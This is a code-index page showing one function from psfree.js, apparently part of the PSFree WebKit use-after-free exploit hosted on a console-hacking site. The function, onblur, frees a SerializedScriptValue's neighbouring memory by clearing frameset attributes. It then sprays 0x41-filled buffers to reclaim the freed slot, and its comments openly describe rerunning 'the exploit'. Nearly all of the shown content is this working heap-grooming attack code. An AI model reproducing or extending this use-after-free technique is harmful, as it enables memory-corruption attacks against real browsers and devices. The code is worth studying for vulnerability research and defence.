MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / onblur

Function onblur

g2all/900/psfree.js:218–244  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

216 });
217
218 function onblur() {
219 // debug_log('blur came');
220 if (num_blurs > 0) {
221 die(`multiple blurs. blurs: ${num_blurs}`);
222 }
223
224 // we replace the URL with the original so the user can rerun the
225 // exploit via a reload. If we don't, the exploit will append another
226 // "#foo" to the URL and the input element will not be blurred because
227 // the foo element won't be scrolled to during history.back()
228 history.replaceState('state3', '', original_loc);
229
230 // free the SerializedScriptValue's neighbors and thus free the
231 // SmallLine where it resides
232 for (let i = index - num_adjs / 2; i < index + num_adjs / 2; i++) {
233 fsets[i].rows = '';
234 fsets[i].cols = '';
235 }
236
237 for (let i = 0; i < num_reuses; i++) {
238 const view = new Uint8Array(new ArrayBuffer(ssv_len));
239 view[0] = 0x41;
240 views.push(view);
241 }
242
243 num_blurs++;
244 }
245 input.addEventListener('blur', onblur);
246
247 document.body.append(input);

Callers

nothing calls this directly

Calls 1

dieFunction · 0.90

Tested by

no test coverage detected